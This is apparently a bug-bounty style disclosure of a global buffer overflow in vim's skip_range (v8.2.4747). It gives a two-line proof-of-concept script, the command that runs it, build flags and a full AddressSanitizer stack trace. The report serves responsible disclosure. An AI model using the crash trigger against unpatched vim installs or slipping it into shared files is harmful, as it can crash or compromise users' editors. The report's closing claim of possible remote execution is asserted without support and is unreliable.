✍️ Description

When fuzzing vim commit f420ff244 v8.2.4747 with clang 13 and ASan, I discovered a global buffer overflow.

Proof of Concept

Here is the minified poc

r<sfile>
0norm0V:^[

How to build

LD=lld AS=llvm-as AR=llvm-ar RANLIB=llvm-ranlib CC=clang CXX=clang++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" LDFLAGS="-ldl -fsanitize=address" ./configure --with-features=huge --enable-gui=none
make -j$(nproc)

Proof of Concept

Run crafted file with this command

./vim -u NONE -X -Z -e -s -S poc_skip_range_min -c :qa!

ASan stack trace:

aldo@vps:~/vim/src$ ASAN_OPTIONS=symbolize=1 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer ./vim -u NONE -X -Z -e -s -S poc_skip_range_min -c :qa!
=================================================================
==3301533==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000000f3489b at pc 0x0000006dcf37 bp 0x7fffffff5b90 sp 0x7fffffff5b88
READ of size 1 at 0x000000f3489b thread T0
    #0 0x6dcf36 in skip_range /home/aldo/vimtes/src/ex_docmd.c:4039:62
    #1 0x6ce745 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:1826:11
    #2 0x6c93f2 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
    #3 0x914a95 in nv_colon /home/aldo/vimtes/src/normal.c:3191:19
    #4 0x8f7ced in normal_cmd /home/aldo/vimtes/src/normal.c:930:5
    #5 0x6fa35d in exec_normal /home/aldo/vimtes/src/ex_docmd.c:8730:6
    #6 0x6f9f63 in exec_normal_cmd /home/aldo/vimtes/src/ex_docmd.c:8693:5
    #7 0x6f9cc3 in ex_normal /home/aldo/vimtes/src/ex_docmd.c:8611:6
    #8 0x6d56c2 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
    #9 0x6c93f2 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
    #10 0xafb875 in do_source_ext /home/aldo/vimtes/src/scriptfile.c:1665:5
    #11 0xaf92c0 in do_source /home/aldo/vimtes/src/scriptfile.c:1791:12
    #12 0xaf8df9 in cmd_source /home/aldo/vimtes/src/scriptfile.c:1165:14
    #13 0xaf88dd in ex_source /home/aldo/vimtes/src/scriptfile.c:1191:2
    #14 0x6d56c2 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
    #15 0x6c93f2 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:992:17
    #16 0x6cc680 in do_cmdline_cmd /home/aldo/vimtes/src/ex_docmd.c:586:12
    #17 0xed3ca4 in exe_commands /home/aldo/vimtes/src/main.c:3104:2
    #18 0xed19d9 in vim_main2 /home/aldo/vimtes/src/main.c:780:2
    #19 0xecb2c0 in main /home/aldo/vimtes/src/main.c:432:12
    #20 0x7ffff78240b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16
    #21 0x41edcd in _start (/home/aldo/vimtes/src/vim+0x41edcd)

0x000000f3489b is located 5 bytes to the left of global variable '<string literal>' defined in 'ex_docmd.c:2821:27' (0xf348a0) of size 2
  '<string literal>' is ascii string '+'
0x000000f3489b is located 53 bytes to the right of global variable '<string literal>' defined in 'ex_docmd.c:2795:9' (0xf34860) of size 6
  '<string literal>' is ascii string ''<,'>'
SUMMARY: AddressSanitizer: global-buffer-overflow /home/aldo/vimtes/src/ex_docmd.c:4039:62 in skip_range
Shadow bytes around the buggy address:
  0x0000801de8c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000801de8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0000801de8e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 f9
  0x0000801de8f0: f9 f9 f9 f9 00 04 f9 f9 f9 f9 f9 f9 00 00 04 f9
  0x0000801de900: f9 f9 f9 f9 00 00 f9 f9 f9 f9 f9 f9 06 f9 f9 f9
=>0x0000801de910: f9 f9 f9[f9]02 f9 f9 f9 f9 f9 f9 f9 00 02 f9 f9
  0x0000801de920: f9 f9 f9 f9 00 03 f9 f9 f9 f9 f9 f9 07 f9 f9 f9
  0x0000801de930: f9 f9 f9 f9 00 01 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
  0x0000801de940: f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9 00 f9 f9 f9
  0x0000801de950: f9 f9 f9 f9 00 05 f9 f9 f9 f9 f9 f9 00 02 f9 f9
  0x0000801de960: f9 f9 f9 f9 07 f9 f9 f9 f9 f9 f9 f9 05 f9 f9 f9
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3301533==ABORTING

💥 Impact

This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution